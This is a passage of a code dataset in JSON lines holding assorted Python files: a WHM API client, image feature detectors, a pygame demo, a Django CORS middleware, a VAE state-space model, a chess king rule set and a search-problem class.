api_version\n self.api_acc_hash = api_acc_hash or self.__read_accesshash()\n self.opener = self._get_opener()\n\n def __read_accesshash(self, acc_hash_path='/root/.accesshash'):\n \"\"\"\n Read accesshash file from root directory(if not specified another).\n \"\"\"\n with open(acc_hash_path) as f:\n access_hash = f.read()\n hash_string = ''.join(\n [hl.rstrip('\\n') for hl in access_hash.splitlines()]\n )\n return hash_string\n\n def get_url_for(self, function, req_params={}):\n \"\"\" URL constructor for API calls.\n @function: function name to vbe called from WHMApi list.\n @params: request params.\n \"\"\"\n params = '&'.join(['{pn}={pv}'.format(pn=pn, pv=pv)\n for (pn, pv) in req_params.items()])\n url_path = '{at}/{fc}?api.version={av}&{pm}'.format(\n at=self.api_type,\n fc=function,\n av=self.api_version,\n pm=params)\n constrcuted = urljoin(self.host_uri, url_path)\n # Dirty hack to prevent few if's\n # This allows us to ignore case when paramse were empty.\n return constrcuted.rstrip('&')\n\n def _auth_headers(self):\n headers = [\n ('Authorization', 'WHM {us}:{ah}'.format(\n us=self.api_user,\n ah=self.api_acc_hash))\n ]\n return headers\n\n def _get_opener(self):\n \"\"\"Retrieve URLOpenerDirector object with required headers\"\"\"\n opener = build_opener()\n opener.addheaders = self._auth_headers()\n return opener\n\n def call(self, function, req_params={}):\n \"\"\" Generate API call with specified params for specified function \"\"\"\n uri = self.get_url_for(function, req_params)\n result = self.opener.open(uri)\n return json.loads(result.read().decode('utf-8'))\n","sub_path":"whmapi/APIClient.py","file_name":"APIClient.py","file_ext":"py","file_size_in_byte":2529,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"40337703","text":"import math\nimport skimage.feature as ft\nfrom skimage.feature import blob_doh\nfrom skimage.filters import roberts, sobel, canny, threshold_otsu\nfrom skimage.morphology import reconstruction, closing, square\nfrom skimage.measure import regionprops, label\nfrom skimage.segmentation import clear_border\nfrom skimage.color import label2rgb\nfrom sklearn.decomposition import RandomizedPCA\nimport numpy as np\n\nclass RPCA(object):\n def analyse(image):\n pca = RandomizedPCA(n_components=5)\n pca.fit(image)\n return pca.explained_variance_ratio_\n\nclass Blobs(object):\n def detect(image, verbose=False):\n \"\"\"Blob detection by computation of the \n Laplacian of Gaussian and Difference of Gaussian.\n\n Params:\n image -- numpy array of luminance (RGB / 255)\n\n Returns:\n (num_small_blobs, num_large_blobs)\n \"\"\"\n small_blobs = Blobs._detect_small_masses(image)\n large_blobs = Blobs._detect_large_masses(image)\n return (small_blobs, large_blobs)\n\n def _detect_small_masses(image):\n \"\"\" Uses the Laplacian of Gaussian blob detection method.\"\"\"\n blobs = blob_doh(image, max_sigma=20, threshold=.01)\n if len(blobs) == 0:\n return 0\n blobs[:,2] = blobs[:,2] * math.sqrt(2)\n filtered = []\n for blob in blobs:\n if blob[2] > 1.5 and blob[2] < 15:\n filtered.append(blob)\n if len(filtered) == 0:\n return 0\n else:\n return len(filtered)\n\n def _detect_large_masses(image):\n \"\"\" Uses the difference of gaussian blob detection method,\n which is much less accurate than LoG. With a higher threshold,\n larger and more obvious masses are more readily calculated.\n \"\"\"\n blobs = blob_doh(image, max_sigma=30, threshold=2)\n if len(blobs) == 0:\n return 0\n blobs[:,2] = blobs[:,2] * math.sqrt(2)\n filtered = []\n for blob in blobs:\n if blob[2] > 15:\n filtered.append(blob)\n if len(filtered) == 0:\n return 0\n else:\n return len(filtered)\n\n\nclass Edges(object):\n def __init__(self):\n self.lim = None\n\n def detect(image, verbose=True):\n \"\"\"Roberts and Sobel edge detection.\n\n Params:\n image -- numpy array of luminance (RGB / 255)\n\n Returns:\n roberts_limited -- array of x,y coordinates\n \"\"\"\n roberts_edge, sobel_edge = Edges.calculate_edges(image)\n roberts_limited = Edges.limit(roberts_edge)\n # sobel_limited = self.limit(sobel)\n return roberts_limited\n\n\n\n def calculate_edges(image):\n \"\"\"Calculates Roberts and Sobel edge detection.\n\n Parameters\n ----------\n image -- numpy array of luminance (RGB / 255)\n\n Returns\n -------\n Tuple: (\n edge_roberts -- Array of Roberts edge detection result\n edge_sobel -- Array of Sobel edge detection result\n )\n \"\"\"\n edge_roberts = roberts(image)\n edge_sobel = sobel(image)\n return (edge_roberts, edge_sobel)\n\n def limit(edges):\n \"\"\" \"\"\"\n maximum = max(edges.flatten())\n lim = maximum * 0.65\n Edges.lim = lim\n new_coords = []\n for row in edges:\n new_row = []\n for pixel in row:\n if pixel > lim:\n new_pixel = pixel\n else:\n new_pixel = 0.0\n new_row.append(new_pixel)\n new_coords.append(new_row)\n\n lim_coords = []\n for row in new_coords:\n for pixel in row:\n if pixel > lim:\n lim_coords.append([row.index(pixel), new_coords.index(row)])\n\n lim_coords_np = np.array(lim_coords)\n interim = np.ascontiguousarray(lim_coords_np).view(np.dtype((np.void, lim_coords_np.dtype.itemsize * lim_coords_np.shape[1])))\n _, idx = np.unique(interim, return_index=True)\n lim_coords = lim_coords_np[idx] \n return lim_coords\n \n\n\nclass Peaks(object):\n def detect(image, verbose=True):\n \"\"\" Detects luminance peaks in image.\n\n Parameters\n ----------\n image -- numpy array of luminance (RGB / 255)\n \n Returns\n -------\n coords -- array of peak x,y coordinates\n max_lum_int -- maximum luminance in image, rounded integer\n \"\"\"\n return Peaks.make_peaks(image)\n\n def make_peaks(image):\n mask = image\n seed = np.copy(image)\n seed[1:-1, 1:-1] = image.min()\n rec = reconstruction(seed, mask, method='dilation')\n res = image - rec\n result = np.array(res)\n maximum_luminance = max(result.flatten())\n mean_luminance = np.mean(result.flatten())\n mean_lum_int = math.floor(mean_luminance*255)\n max_lum_int = math.floor(maximum_luminance*255)\n lum_diff = max_lum_int - mean_lum_int\n lim = maximum_luminance * .8\n coords = []\n for row in result:\n new_row = []\n for pixel in row:\n if pixel > lim:\n new_pixel = pixel\n else:\n new_pixel = 0.0\n new_row.append(new_pixel)\n coords.append(new_row)\n lim_coords = []\n for row in coords:\n for pixel in row:\n if pixel > lim:\n lim_coords.append([row.index(pixel), coords.index(row)])\n\n lim_coords_np = np.array(lim_coords)\n interim = np.ascontiguousarray(lim_coords_np).view(np.dtype((np.void, lim_coords_np.dtype.itemsize * lim_coords_np.shape[1])))\n _, idx = np.unique(interim, return_index=True)\n lim_coords = lim_coords_np[idx] \n return lim_coords, max_lum_int, lum_diff\n \n \nclass Regions(object):\n def detect(image):\n edge_canny = ft.canny(image, sigma=0.5)\n thresh = threshold_otsu(edge_canny)\n bw = closing(edge_canny > thresh, square(3))\n cleared = bw.copy()\n clear_border(cleared)\n label_image = label(cleared)\n image_label_overlay = label2rgb(label_image, image=edge_canny)\n regions = []\n for region in regionprops(label_image):\n if region.area > 300:\n regions.append(region.area)\n \n if len(regions) > 0:\n \tlargest_region = max(regions)\n else:\n \tlargest_region = 0\n regions = len(regions)\n return (largest_region, regions)","sub_path":"kpimage/features.py","file_name":"features.py","file_ext":"py","file_size_in_byte":6615,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"37521079","text":"#main.py\n\n# import external modules\nimport pygame, random, sys\nimport numpy as np\n# import local scripts\n\n# initialize pygame\npygame.init()\n\n# Window title\nTITLE = \"Program's title\"\npygame.display.set_caption(TITLE)\n\n# screen\nWIDTH = 640\nHEIGHT = 320\nscreen = pygame.display.set_mode((WIDTH,HEIGHT))\n\n# Key controls\npressed_key = []\n\n# quitting msg\nquitting_message = 'User is quitting the app'\n\n# Clock obj -> to keep track of FPS\nframerate = 24\nclock = pygame.time.Clock()\n\n\n# GLOBAL VARS\n# drawing vars\nellipse_fill = (255, 255, 255)\nalpha_white = (255, 255, 255, 120)\n\n\n\n# SETUP\n# starting background\nbackground = (0,0,0)\n#screen.fill(background)\n# custom objs\n\n# functions\ndef draw():\n\n\t# GET X\n\n\t# v.1: mean 0, sd 1 and normalize for custom mean and sd\n\t# --------------------------------------------------------\n\t# get a normal distribution:\n\tmean, sd, population = 0, 1, WIDTH # mean, standard deviation, pop size\n\tgaussian = np.random.normal(mean, sd, population) # make dataset\n\t# get random num from distribution\n\tindex = int(random.randrange(population))\n\tnum = gaussian[index]\n\t# normalized num to mean 320 and std 60:\n\tmean, sd = 320, 60\n\tx = sd * num + mean\n\n\t# v.2: custom mean and sd \n\t# --------------------------------------------------------\n\t\t# -> x tilts to the right\n\t\t# -> don't know why\n\t#mean, sd, population = 360, 60, WIDTH # mean, standard deviation, pop size\n\t#gaussian = np.random.normal(mean, sd, population) # make dataset\n\t#index = int(random.randrange(population))\n\t#num = gaussian[index]\n\t#x = num\n\n\t# TRANSPARENT ELLIPSE\n\t# 1. make alpha surface (able to hold multiple alpha objs)\n\talpha_surf = pygame.Surface((WIDTH, HEIGHT), pygame.SRCALPHA)\n\t# 2. draw alpha-colored shape\n\tellipse_rect = pygame.Rect(x, 180, 16, 16)\n\tpygame.draw.ellipse(alpha_surf, alpha_white, ellipse_rect)\n\t# 3. blit alpha surf\n\talpha_rect = alpha_surf.get_rect()\n\tscreen.blit(alpha_surf, alpha_rect) # surf obj, rect obj\n\n\n# MAIN LOOP\n\nrunning = True\n\nwhile running:\n\t\n\t# MOUSE\n\tmouseX, mouseY = pygame.mouse.get_pos()\n\n\t# EVENTS - cannot be placed in a function to be called here\n\tfor event in pygame.event.get(): #all events in pygame\n\t\tif event.type == pygame.QUIT: # clicking QUIT button (X)\n\t\t\trunning = False # stop running\n\t\t\tprint(quitting_message)\n\t\t\tpygame.quit()\n\t\t\tsys.exit()\n\t\tif event.type == pygame.KEYDOWN:\n\t\t\tpressed_key.append(pygame.key.name(event.key)) # pressed_key must be a list for the following to work\n\t\t\tif event.key == pygame.K_LALT or event.key == pygame.K_F4:\n\t\t\t\trunning = False # stop running\n\t\t\t\tprint(quitting_message)\n\t\t\t\tpygame.quit()\n\t\t\t\tsys.exit()\n\t\n\n\t# DRAW\n\tdraw()\n\n\n\t# Set FPS\n\tclock.tick(framerate)\n\t# Update screen: last line of loop. Fires animation\n\tpygame.display.update()","sub_path":"00 - Introduction/gaussian_distribution_v05.py","file_name":"gaussian_distribution_v05.py","file_ext":"py","file_size_in_byte":2729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"417230163","text":"from django import http\n\n\nclass SimpleMiddleware:\n def __init__(self, get_response):\n self.get_response = get_response\n # One-time configuration and initialization.\n\n def __call__(self, request):\n # Code to be executed for each request before\n # the view (and later middleware) are called.\n\n response = self.get_response(request)\n\n if (request.method == \"OPTIONS\"):\n response = http.HttpResponse()\n response[\"Content-Length\"] = \"0\"\n response[\"Access-Control-Max-Age\"] = 86400\n response[\"Access-Control-Allow-Origin\"] = \"*\"\n response[\"Access-Control-Allow-Methods\"] = \"DELETE, GET, OPTIONS, PATCH, POST, PUT, HEAD\"\n response[\"Access-Control-Allow-Headers\"] = \"accept, accept-encoding, authorization, content-type, referer, sec-ch-ua, sec-ch-ua-mobile, dnt, origin, user-agent, x-csrftoken, x-requested-with\"\n return response\n","sub_path":"scribbli/middleware.py","file_name":"middleware.py","file_ext":"py","file_size_in_byte":933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"30191135","text":"#!/usr/bin/python\n# -*- coding:utf8 -*-\nimport numpy as np\nimport math\nimport os\nimport json\n\nimport torch\nfrom torch import nn\nfrom common import softplus, inverse_softplus, cov2logsigma, logsigma2cov, split_first_dim, merge_first_two_dims\nfrom model.func import weighted_linear, normal_differential_sample, multivariate_normal_kl_loss\nfrom model.dynamic.combinational_linears import CombinationalLinears\nfrom model.common import DBlock, PreProcess\n\n\n\nclass VAEAKFCombinedLinear(nn.Module):\n def __init__(self, input_size, state_size, observations_size, net_type='lstm', k=16, num_layers=1, L=1, R=1,\n num_linears=8,random_overshooting=True,\n D=30):\n\n \"\"\"\n\n :param input_size: The size of external input\n :param state_size:\n :param observations_size:\n :param net_type: the type of VAE\n :param k: size of hidden state\n :param num_layers:\n :param L: The times for sampling auxiliary distribution.\n \"\"\"\n super(VAEAKFCombinedLinear, self).__init__()\n self.k = k\n self.observations_size = observations_size\n self.state_size = state_size\n self.input_size = input_size\n self.L = L\n self.R = R\n self.D = D\n self.random_overshooting = random_overshooting\n self.num_layers = num_layers\n\n assert D >= 1 and L >= 1 and R >= 1\n # region Define parameters for training\n self.process_x = PreProcess(input_size + observations_size, k)\n self.net_type = net_type\n self.rnn = nn.LSTM(k, k, num_layers=num_layers)\n self.posterior_hidden_state0 = torch.nn.Parameter(torch.zeros(k))\n self.gauss_decoder = DBlock(k, k*2, state_size)\n\n # In combinated linears, learnable linear matrix are weighted upon a softmax output.\n self.dynamic = CombinationalLinears(\n input_size,\n state_size,\n num_layers=num_layers,\n num_linears=num_linears,\n hidden_size=k\n )\n\n self.estimate_logdelta = torch.nn.parameter.Parameter(torch.randn(observations_size)) # noise in observation\n self.estimate_H = torch.nn.parameter.Parameter(torch.zeros((observations_size, state_size)))\n self.estimate_bias = torch.nn.parameter.Parameter(torch.randn(observations_size)) # bias in observation\n\n # endregion\n\n self.state_mu = None\n self.state_logsigma = None\n self.external_input_seq = None\n self.observations_seq = None\n self.initial_prior_mu, self.initial_prior_logsigma = None, None\n self.sampled_state = None\n self.weight_initial_hidden_state = None\n\n def forward_posterior(self, external_input_seq, observations_seq, posterior_lstm_state=None, weight_initial_hidden_state=None):\n\n self.external_input_seq = external_input_seq\n self.observations_seq = observations_seq\n\n l, batch_size, _ = external_input_seq.size()\n\n posterior_lstm_state = self.generate_lstm_initial_state(\n self.posterior_hidden_state0, batch_size, self.num_layers) if posterior_lstm_state is None else posterior_lstm_state\n\n self.initial_prior_mu, self.initial_prior_logsigma = self.gauss_decoder(\n posterior_lstm_state[0][-1]\n )\n\n all_seq = torch.cat([external_input_seq, observations_seq], dim=2)\n all_seq = self.process_x(all_seq)\n z_seq, new_posterior_lstm_state = self.rnn(all_seq, posterior_lstm_state)\n self.state_mu, self.state_logsigma = self.gauss_decoder(z_seq)\n\n self.weight_initial_hidden_state = weight_initial_hidden_state\n # region 估计每个位置的weight_hidden_state\n sampled_state = normal_differential_sample(\n torch.distributions.MultivariateNormal(self.state_mu, logsigma2cov(self.state_logsigma))\n )\n # weight_initial_hidden_state 是上一轮次forward时lstm的隐状态(hn, cn)\n\n weight_hidden_state = self.generate_lstm_initial_state(\n self.dynamic.weight_hidden_state0, batch_size, self.num_layers\n ) if weight_initial_hidden_state is None else weight_initial_hidden_state\n\n _, weight_hidden_state = self.dynamic.linears_weight_lstm(\n sampled_state, weight_hidden_state\n )\n new_weight_initial_hidden_state = weight_hidden_state\n # endregion\n\n return self.state_mu, self.state_logsigma, new_posterior_lstm_state, new_weight_initial_hidden_state\n\n def forward_prediction(self, external_input_seq, posterior_lstm_state=None, weight_initial_hidden_state=None,\n max_prob=False, return_weight_map=False):\n\n l, batch_size, _ = external_input_seq.size()\n\n # 生成-1时刻的隐变量分布\n posterior_lstm_state = self.generate_lstm_initial_state(\n self.posterior_hidden_state0, batch_size, self.num_layers) if posterior_lstm_state is None else posterior_lstm_state\n\n weight_hidden_state = self.generate_lstm_initial_state(\n self.dynamic.weight_hidden_state0, batch_size, self.num_layers) if weight_initial_hidden_state is None else weight_initial_hidden_state\n\n state_sampled_list = []\n weight_map_list = []\n\n self.initial_prior_mu, self.initial_prior_logsigma = self.gauss_decoder(\n posterior_lstm_state[0][-1]\n )\n\n # 预测过程通过ancestral sampling方法采样l个时刻的隐状态\n\n # 此处采样-1时刻的隐状态\n state = normal_differential_sample(\n torch.distributions.MultivariateNormal(self.initial_prior_mu, logsigma2cov(self.initial_prior_logsigma))\n )\n\n for i in range(l):\n\n # 根据weight_hidden_state计算i-1位置隐状态对应的linears weight, lstm为多层时,取h的最后一层状态\n next_state_dist, state, (weight_hidden_state, weight_map) = self.dynamic(\n state, external_input_seq[i], (weight_hidden_state, ))\n state_sampled_list.append(state)\n weight_map_list.append(weight_map)\n\n\n sampled_state = torch.stack(state_sampled_list)\n weight_map = torch.stack(weight_map_list)\n\n # 利用隐状态计算观测数据分布\n observations_dist = self.decode(state=sampled_state, mode='dist')\n\n # 对观测分布采样并更新后验lstm隐状态\n if max_prob:\n observations_sample = observations_dist.loc\n else:\n observations_sample = normal_differential_sample(observations_dist)\n _, posterior_lstm_state = self.rnn(\n self.process_x(torch.cat([external_input_seq, observations_sample], dim=-1)), posterior_lstm_state\n )\n\n if return_weight_map:\n return observations_dist, observations_sample, posterior_lstm_state, weight_hidden_state, weight_map\n else:\n return observations_dist, observations_sample, posterior_lstm_state, weight_hidden_state\n\n\n @staticmethod\n def generate_lstm_initial_state(state0, batch_size, num_layers):\n \"\"\"\n\n Args:\n state0: 可学习的初始隐状态 hn\n state0:\n batch_size:\n\n Returns:\n 扩展hn为多层,并产生全零cn\n 如果posterior_lstm_state 为 None 根据模型内部参数重构posterior_lstm_state,并解码先验分布\n 否则直接对posterior_lstm_state解码\n \"\"\"\n initial_hidden_state = torch.cat([\n torch.zeros_like(state0).repeat(num_layers-1, batch_size, 1),\n state0.repeat(batch_size, 1).unsqueeze(dim=0)\n ], dim=0)\n lstm_state = (initial_hidden_state, torch.zeros_like(initial_hidden_state))\n\n return lstm_state\n\n\n def call_loss(self):\n \"\"\"\n\n Returns: 调用call_loss前需要调用forward_posterior,以获得输入数据及隐状态的后验分布。\n 该算法采用 stochastic overshooting 方法来估计隐变量后验分布与先验分布的kl散度。具体过程如下:\n 对于任意位置i,其后验分布为q(i), 利用后验分布采样q(i-d),其中d为[1,D)的随机值。利用祖先采样从分布p(i-1|i-d, a[i-d:i-1])采样。\n 然后根据采样出来的h(i-1)计算i时刻隐变量的先验分布p(i|i-1),并计算与q(i)的kl散度。\n\n \"\"\"\n\n l, bs, _ = self.observations_seq.shape\n\n # system dynamic: p(s(t+1) | s(t), a(t+1))\n # o(t) o(t+1)\n # ^ ^\n # | |\n # | |\n # s(t) -----> s(t+1)\n # ^\n # |\n # |\n # a(t+1)\n\n # region calculating kl divergence :\n\n # 把系统-1时刻的先验分布加到后验分布中\n q_mu = torch.cat([self.initial_prior_mu.unsqueeze(dim=0), self.state_mu], dim=0)\n q_cov = torch.cat([logsigma2cov(self.initial_prior_logsigma).unsqueeze(dim=0), logsigma2cov(self.state_logsigma)])\n\n # 先从后验分布中采样,长度为 l + 1\n sampled_state = normal_differential_sample(\n torch.distributions.MultivariateNormal(q_mu, q_cov)\n )\n\n # 取forward_posterior时存储的weight_initial_hidden_state构建lstm的初始隐状态(hn,cn),如果为None,从动态模型dynamic内置参数构建\n weight_hidden_state = self.generate_lstm_initial_state(\n self.dynamic.weight_hidden_state0, bs, self.num_layers\n ) if self.weight_initial_hidden_state is None else self.weight_initial_hidden_state\n\n # region 计算各个位置的weight lstm 隐状态\n weight_h_c_list = [weight_hidden_state]\n for i in range(1, l+1):\n _, weight_hidden_state = self.dynamic.linears_weight_lstm(\n sampled_state[i:i+1], weight_hidden_state\n )\n weight_h_c_list.append(weight_hidden_state)\n\n # weight_hidden_state_memory : A tuple (l, bs, num_layers, h_size), (l,bs, num_layers, c_size)\n weight_hidden_state_memory = tuple([torch.stack(state).contiguous().transpose(2, 1) for state in zip(\n *weight_h_c_list\n )])\n\n # region 魔法开始! random overshooting\n\n \"\"\"\n 定义名词:\n 训练位置 : i, 指计算KL[q(i)||p(i|i-1)]的位置\n 起始位置: i-t ,指over shooting 中做长序列预测的起始位置p(i-1|i-t),其中t对于不同batch中的不同训练数据、不同序列位置i都是随机的\n 单步预测位置: i-1\n \"\"\"\n def kl_sample():\n\n\n for overshooting_length in (range(self.D, self.D+1) if self.random_overshooting else range(1, self.D+1)):\n # 不对完整的序列计算kl散度,因为需要往前最多look back D步,所以只考虑序列最后 l + 1 - D个位置,\n # trained_positions存储被训练位置的下标,以后要用下标来做gather操作\n\n trained_positions = torch.arange(overshooting_length, q_mu.size()[0], device=sampled_state.device).reshape(-1, 1).repeat(1, bs)\n trained_length = trained_positions.size()[0]\n if self.random_overshooting:\n # 对每个待训练的位置,随机look back一定距离,随机范围是[1,D]\n sampled_d = torch.randint(1, self.D+1, trained_positions.size(), device=sampled_state.device)\n else:\n sampled_d = torch.randint(overshooting_length, overshooting_length + 1,\n trained_positions.size(), device=sampled_state.device)\n\n # 根据随机出来的距离,计算后验分布做采样的位置\n positions_minus_d = trained_positions - sampled_d\n\n def seq_gather(input, index):\n \"\"\"\n 根据index存储的下标,取input序列指定位置的张量\n Args:\n input: shape(length, bs, a, b, c, ...)\n index: (l, bs)\n\n Returns: tensor with shape (l, bs, a, b, c, ...)\n\n \"\"\"\n l, bs = index.size()[0], index.size()[1]\n\n assert (index >= 0).all() and (index < input.size()[0]).all()\n\n return torch.gather(\n input, dim=0, index=index.reshape(\n l, bs, *([1]*(len(input.shape)-2))\n ).repeat(1, 1, *input.size()[2:])\n )\n\n assert (positions_minus_d >= 0).all()\n # 从sampled_state中取出起始位置对应的采样的状态\n predicted_state_sampled = seq_gather(sampled_state, positions_minus_d)\n # 取出起始位置对应的weight lstm 隐状态:用weight_hidden_state_memory内的状态作为初始状态,之后的状态边采样,边用lstm计算\n weight_hidden_state = tuple([seq_gather(weight_hidden_state_memory[_], positions_minus_d) for _ in [0, 1]])\n current_sampled_positions = positions_minus_d\n\n # 从起始位置开始,不停地做单步预测,直到预测到单步预测位置为止\n while (current_sampled_positions < trained_positions - 1).any():\n\n # 找到那些还没到单步预测位置的positions\n updated_positions = (current_sampled_positions < trained_positions - 1)\n # 取出这些位置的采样状态\n changed_state = predicted_state_sampled[updated_positions]\n # 取出这些位置的weight lstm隐状态\n changed_weight_hidden_state = tuple([weight_hidden_state[_][updated_positions] for _ in range(2)])\n hn, cn = changed_weight_hidden_state\n hn = hn.contiguous().transpose(1, 0)\n cn = cn.contiguous().transpose(1, 0)\n\n \"\"\"\n 对于外部输入项下标为什么是current_sampled_positions的解释:\n 因为考虑了-1位置的先验分布,因此sampled_state,即完整后验隐状态采样的长度为l+1,对应下标位[0,l],而外部输入序列\n external_input_seq的长度为l,对应下标[0,l-1],对应系统变换为 func(state[0] , input[0]) -> state[1],因此,\n current_sampled_positions存储的是当前正在向前滚动的隐状态下标,与其产生作用的外部输入序列下标应同为current_sampled_positions\n \"\"\"\n external_input_need = seq_gather(self.external_input_seq, current_sampled_positions)[updated_positions]\n\n # 利用动态系统模拟状态变化,返回下一时刻的分布及采样\n next_state_dist, next_state_sample, ((new_hn, new_cn), weight_map) = self.dynamic(\n changed_state, external_input_need, ((hn, cn),)\n )\n # 更新 状态、lstm隐状态\n weight_hidden_state[0][updated_positions] = hn.contiguous().transpose(1, 0)\n weight_hidden_state[1][updated_positions] = cn.contiguous().transpose(1, 0)\n predicted_state_sampled[updated_positions] = next_state_sample\n\n # 没到单步预测位置的位置增1\n current_sampled_positions[updated_positions] += 1\n assert (current_sampled_positions + 1 == trained_positions).all()\n\n # 以单步预测位置作为起点,再做一次单步预测\n\n # dynamic 的输入tensor要求为(bs, xxx),需要把张量前两维合并\n weight_hidden_state = tuple([merge_first_two_dims(weight_hidden_state[_]) for _ in range(2)])\n\n # 取其中单步预测分布, 其他返回值没用\n hn, cn = weight_hidden_state\n hn = hn.contiguous().transpose(1, 0)\n cn = cn.contiguous().transpose(1, 0)\n one_step_predicted_dist, _, _ = self.dynamic(merge_first_two_dims(predicted_state_sampled),\n merge_first_two_dims(seq_gather(self.external_input_seq, current_sampled_positions)),\n ((hn, cn),))\n # 计算训练位置i,后验分布q(i)与先验分布p(i|i-1)的kl散度\n kl = multivariate_normal_kl_loss(self.state_mu[-trained_length:],\n logsigma2cov(self.state_logsigma[-trained_length:]),\n split_first_dim(one_step_predicted_dist.loc, (trained_length, bs)),\n split_first_dim(one_step_predicted_dist.covariance_matrix, (trained_length, bs))\n )\n return kl\n kl = sum([kl_sample() for _ in range(self.R)])/self.R\n # endregion\n\n # region calculation generative probability p(x|z)\n generative_likelihood = self.estimate_generative_logprobability()\n # endregion\n\n # maximun -kl + generative_likelihood\n return (kl - generative_likelihood)/bs, kl/bs, -generative_likelihood/bs\n\n def estimate_generative_logprobability(self):\n\n def estimate_generative_logprobability_from_sample():\n state = self.sample_state(max_prob=False)\n observations_mu = torch.nn.functional.linear(state, self.estimate_H) + self.estimate_bias\n observations_cov = logsigma2cov(self.estimate_logdelta)\n observations_normal_dist = torch.distributions.MultivariateNormal(observations_mu, observations_cov)\n return torch.sum(observations_normal_dist.log_prob(self.observations_seq))\n\n generative_likelihood = sum([estimate_generative_logprobability_from_sample() for _ in range(self.L)])/self.L\n return generative_likelihood\n\n def decode(self, state, mode='sample'):\n \"\"\"\n\n Args:\n state: with shape (len, batch_size, state_size)\n mode: dist or sample\n\n Returns:\n\n \"\"\"\n observations_mu = torch.nn.functional.linear(state, self.estimate_H) + self.estimate_bias\n observations_cov = logsigma2cov(self.estimate_logdelta)\n observations_normal_dist = torch.distributions.MultivariateNormal(observations_mu, observations_cov)\n if mode == 'dist':\n return observations_normal_dist\n elif mode == 'sample':\n return observations_normal_dist.sample()\n\n def sample_state(self, max_prob=True):\n \"\"\"\n :param max_prob: If True, return the sequence which has the biggest probability. Otherwise, a randomly sampled\n sequence will be returned.\n :return:(l, bs, state_size)\n \"\"\"\n if self.state_mu is None:\n raise AssertionError('You have to call forward method before sampling state')\n if max_prob:\n return self.state_mu\n noise = torch.randn_like(self.state_mu)\n state = noise*softplus(self.state_logsigma) + self.state_mu\n return state\n\n def sigma_interval(self, e):\n return self.state_mu - e * softplus(self.state_logsigma), \\\n self.state_mu + e * softplus(self.state_logsigma)\n\n","sub_path":"model/vaeakf_combinational_linears_random.py","file_name":"vaeakf_combinational_linears_random.py","file_ext":"py","file_size_in_byte":19449,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"56536331","text":"from Entity.Piece.piece import Piece as PieceEntity\nfrom Enum.enum import *\nfrom Util.position import *\nfrom Util.action import *\n\nclass King(PieceEntity):\n\n def __init__(self, field, team, position):\n PieceEntity.__init__(self, field, team, position, Piece.KING)\n\n def GetRules(self):\n allowedPositions = [\n self.position + Position(0, 1),\n self.position + Position(1, 1),\n self.position + Position(1, 0),\n self.position + Position(1, -1),\n self.position + Position(0, -1),\n self.position + Position(-1, -1),\n self.position + Position(-1, 0),\n self.position + Position(-1, 1)\n ]\n\n allowedActions = []\n for position in allowedPositions:\n target = self.field.CheckCase(position)\n if target:\n if target.team != self.team:\n allowedActions.append(Action(self, position, target))\n else:\n allowedActions.append(Action(self, position))\n\n #Castling\n if self.moveNumber == 0 and self.field.inCheck != self.team:\n for rook in self.field.GetPieces(self.team, Piece.ROOK):\n if rook.moveNumber == 0:\n sub = rook.position - self.position\n direction = 1\n if sub.x < 0:\n direction = -1\n nothingBetween = True\n for i in range(1, sub.x*direction):\n x = self.position.x + i*direction\n if self.field.CheckCase(Position(x, self.position.y)):\n nothingBetween = False\n break\n if nothingBetween:\n movePosition = self.position + Position(2*direction, 0)\n action = Action(self, movePosition)\n rookPosition = movePosition + Position(-direction, 0)\n if not(self.field.CheckAfterAction(action)) and not(self.field.CheckAfterAction(Action(self, rookPosition))):\n action.AttachCallback(Action(rook, rookPosition))\n allowedActions.append(action)\n\n\n\n return allowedActions","sub_path":"Entity/Piece/king.py","file_name":"king.py","file_ext":"py","file_size_in_byte":2280,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"89124012","text":"import types\nimport operations\nimport math\n\n#class to bundle problem parameters\nclass Problem:\n def __init__(self, alg, startnum, targetnum, time, ops):\n NumberTypes = (int, float)\n assert isinstance(alg, str), \"alg is not an string: %r\" % alg\n assert isinstance(startnum, NumberTypes), \"startnum is not a number: %r\" % startnum\n assert isinstance(targetnum, NumberTypes), \"targetnum is not a number: %r\" % targetnum\n assert isinstance(time, NumberTypes), \"time is not a number: %r\" % time\n for op in ops:\n assert isinstance(op[0], str), \"operator is not a string: %r\" % op[0]\n try:\n assert isinstance(op[1], NumberTypes), \"operand is not a number: %r\" % op[1]\n except:\n print(\"operand is not a number: %r\" % op[1])\n\n self.alg = alg\n self.startnum = startnum\n self.targetnum = targetnum\n self.time = time\n self.ops = ops\n self.increasing = operations.categorize_problem(self.ops)\n self.sub_targets = operations.calculate_subtargets(self.targetnum, self.ops)\n\n def __str__(self):\n return \"\"\n # prints the problem details\n def printProblem(self):\n print (self.alg, self.startnum, self.targetnum, self.time, self.ops)\n\n # evaluates the operation on a given number\n # @param number - the number to be evaluated\n # @param op - the operation to be executed\n def evalOp(self, number, op):\n return math.floor(operations.eval_operation(number, op[0], op[1]))\n\n # determines if this branch should be cutoff\n # @param {number} current - the current value of the state\n # @return {boolean}\n def cut_off(self, current):\n if self.increasing == None:\n return False\n if current > self.targetnum:\n print(current)\n if self.increasing:\n return True\n elif current < self.targetnum:\n if not self.increasing:\n return True\n return False\n","sub_path":"assig1/problem.py","file_name":"problem.py","file_ext":"py","file_size_in_byte":1849,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"3"} +{"seq_id":"342004175","text":"#!python\n# -*- coding:utf-8 -*-\nfrom __future__ import print_function\nfrom setuptools import setup, find_packages\n\nwith open(\"README.md\", \"r\", encoding='utf-8') as fh:\n long_description = fh.read()\n\nsetup(\n name=\"hicmsd\",\n version=\"0.0.1\",\n author=\"Biao Zhang\",\n author_email=\"littlebiao@outlook.com\",\n description=\"Code of HiCMSD\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n license=\"MIT\",\n url=\"https://github.com/Codsir/HiCMSD\",\n packages=find_packages(),\n install_requires=[\n \"scikit-image >= 0.13.0\",\n \"visdom >= 0.1.8.5\",\n \"torch >= 0.4.1\",\n \"torchvision >= 